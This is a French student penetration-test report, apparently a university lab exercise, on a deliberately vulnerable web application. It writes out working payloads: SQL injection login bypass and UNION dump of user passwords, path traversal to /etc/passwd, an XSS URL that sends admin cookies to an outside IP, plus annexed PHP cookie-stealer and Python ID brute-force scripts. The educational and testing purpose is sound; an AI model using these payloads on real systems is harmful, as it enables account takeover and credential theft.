Vous êtes sur la page 1sur 5

Rapport Pentest

Anthonin Faye Devas


Sécurité Informatique
October 22, 2023

Lors de ce rapport nous allons voir les différents problèmes et failles que contient le site
http://docker.ras.univ-angers.fr:1002.

1 Problèmes mineurs
1.1 Home
Le filtre de la page home sur le login ne permet de taper que 4 caractères en tout, ce qui
empêche de taper une adresse mail valide. Ce filtre étant cependant en local, on peut le
supprimer en modifiant le code source de la page et ainsi écrire ce que l’on veut.

1.2 Newsletter
Le même problème de filtre survient ici, empêchant de taper une adresse mail valide. De plus,
est considéré comme valide n’importe quelle suite de caractère comportant un @ quelque part
au milieu, ce qui n’est pas un filtre correct d’adresses mails.

1.3 Contact
Si on clique sur ”Prénom” ou ”Sujet”, le texte des deux cases se vide et la case cliquée se
remplit d’un texte par défaut. En plus d’être peu pratique, cela empêche complètement de
remplir le formulaire, les deux cases étant obligatoires.

1.4 Zone Utilisateur


Dans la zone utilisateur, on peut entrer des notes. Ces notes n’ont pas de filtre les limitant
à une valeur, on peut donc se donner un 25/20, ce qui poserait problème.

1
2 Problèmes Majeurs
2.1 Général
Le site est en HTTP au lieu de HTTPS et a donc une connexion qui n’est pas sécurisée, il
n’y a aucun chiffrement de données. Les données peuvent donc être captées par un acteur
mal intentionné. C’est le principe du ”Man in the middle”.

2.2 Home
Il est possible de faire une injection SQL après avoir enlevé le filtre. En entrant dans le
login ”’ OR 1=1;– ”, et quelque chose dans le mot de passe, on peut se connecter à l’espace
utilisateur par défaut alors que nous ne devrions avoir aucun accès.

2.3 Newsletter
Le filtre mentionné précédemment peut être passé en écrivant dans l’url du site ce qu’on
veut envoyer. Ce qu’on peut envoyer n’a aucune restriction, on peut envoyer un bouton
en html qui envoie vers un autre site, ou une notification à n’importe quel utilisateur se
connectant grâce à du javascript en envoyant ”¡script¿ alert(”Coucou”);¡/script¿”. Selon ce
que les utilisateurs mettent, cela peut devenir un problème important.

2.4 Contact
En modifiant l’url, on peut passer au travers des problèmes pour envoyer un message et ainsi
envoyer ce que l’on veut aux administrateurs. Il est possible sur cette page de voler aux ad-
mins les cookies leur donnant les droits sur l’espace admin grâce à une attaque XSS. Pour cela
il nous faut plusieurs choses. Tout d’abord il nous faut un serveur sur lequel on mettra une
page index.php qui volera les cookies de la personne qui s’y connectera et les mettra dans un
fichier texte (Voir exemple en annexe). Une fois que cela est mis en place, on trouve une page
du site vulnérable. Une page parfaite pour cela est celle qui affiche l’image de l’utilisateur
: http://docker.ras.univ-angers.fr:1002/profil.php?img=0. En modifiant ce qu’il y a après
”?img=” on peut causer une erreur au chargement de la page. On peut profiter de cette
erreur en ajoutant un tag ”onerror” à l’url. On lui demande sur une erreur, que l’on a forcé,
de se connecter à notre serveur qui volera les cookies. Le lien complet ressemble donc à ceci :
http://docker.ras.univ-angers.fr:1002/profil.php?img=Truc.jpg%22%20onerror=%22this.src
=%27http://172.20.81.87/index.php?%27%2B%20document.cookie;%22%3E.
Si l’administrateur clique sur notre lien par curiosité ou par erreur on obtient donc son
autorité sur le site entier.

2.5 Zone utilisateur


2.5.1
L’utilisateur connecté est défini simplement comme un numéro dans l’url, on peut profiter
de cela pour bruteforce tous les autres utilisateurs. On découvre ainsi qu’un autre utilisateur

2
existe au numéro 5276 et que cet utilisateur est Alain Godon. Un programme python simple
suffit à ce genre de tâche (Voir exemple en annexe).

2.5.2
Dans l’url qui définit l’espace utilisateur lorsque les notes sont affichées on peut changer
quelle page s’affiche en dessous à la place des notes. Si on met l’espace utilisateur lui-même
, on fait une boucle qui peut devenir très lourde pour le serveur. Cela offre une manière
relativement simple de DDoS le site.

2.5.3
La page des notes dans l’url est accédée depuis son emplacement dans le système de fichiers
du serveur, on peut donc regarder d’autres fichiers depuis celui-ci auxquels on ne devrait pas
avoir accès. Un fichier important auquel on a accès est par exemple http://docker.ras.univ-
angers.fr:1002/user.php?id=5276&page=/etc/passwd (Il faut être connecté à un utilisateur
pour que ce lien fonctionne.)

2.5.4
Une injection SQL en union est possible dans cette page pour obtenir l’entièreté des utilisa-
teurs ainsi que leurs mots de passe. Pour cela on fait quelques tests pour savoir dans quel or-
dre les informations sur les utilisateurs et combien il y en a. On trouve qu’il y a 3 informations
dans la base de donnée dans cet ordre : pseudo, mot de passe, id. A partir de ces informations
on peut modifier l’url de l’espace utilisateur on peut faire une requête SQL qui s’affichera
dans les notes. Plus précisément on remplace l’id par la requête ”‘ UNION SELECT
pseudo,mdp,id FROM users – ”. Pour que cela fonctionne il faut être connecté tout d’abord.
Cela donne comme url : http://docker.ras.univ-angers.fr:1002/user.php?id=%27%20UNION
%20SELECT%20pseudo,%20mdp,%20id%20FROM%20users%20–%20&page=note.php. Fi-
nalement on obtient donc que les deux utilisateurs sont demo et alainGodon, ayant comme
mot de passe respectivement demo et alain.

3
Annexe
index.php voleur de cookies

1 <?php
2 function GetIP()
3 {if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
4 $ip = getenv("HTTP_CLIENT_IP");
5 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),
6 "unknown"))
7 $ip = getenv("HTTP_X_FORWARDED_FOR");
8 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
9 $ip = getenv("REMOTE_ADDR");
10 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] &&
11 strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
12 $ip = $_SERVER['REMOTE_ADDR'];
13 else
14 $ip = "unknown";
15 return($ip);}
16

17 function logData()
18 {$ipLog="log.txt";
19 $cookie = $_SERVER['QUERY_STRING'];
20 $register_globals = (bool) ini_get('register_gobals');
21 if ($register_globals) $ip = getenv('REMOTE_ADDR');
22 else $ip = GetIP();
23 $rem_port = $_SERVER['REMOTE_PORT'];
24 $user_agent = $_SERVER['HTTP_USER_AGENT'];
25 $rqst_method = $_SERVER['METHOD'];
26 $rem_host = $_SERVER['REMOTE_HOST'];
27 $referer = $_SERVER['HTTP_REFERER'];
28 $date=date ("l dS of F Y h:i:s A");
29 $log=fopen("$ipLog", "a+");
30 if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
31 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent |
32 METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
33 else
34 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent |
35 METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
36 fclose($log);}
37

38 logData();
39 ?>

4
Bruteforce des utilisateurs

1 import requests
2

3 base_url = "http://docker.ras.univ-angers.fr:1002/user.php?id={}&page=note.php"
4 cookie = {"PHPSESSID": "b19a93fc86c45bd8bf62c20215f68cd7"}
5 for i in range(1, 10000):
6 url = base_url.format(i)
7 print(i)
8 try:
9 response = requests.get(url, cookies=cookie)
10 response.raise_for_status()
11 content = response.text
12 if 'erreur id' not in content:
13 print(f"Page {i}:")
14 print(content)
15 print("=" * 40)
16 except requests.exceptions.RequestException as e:
17 print(f"Failed to fetch page {i}: {str(e)}")

Vous aimerez peut-être aussi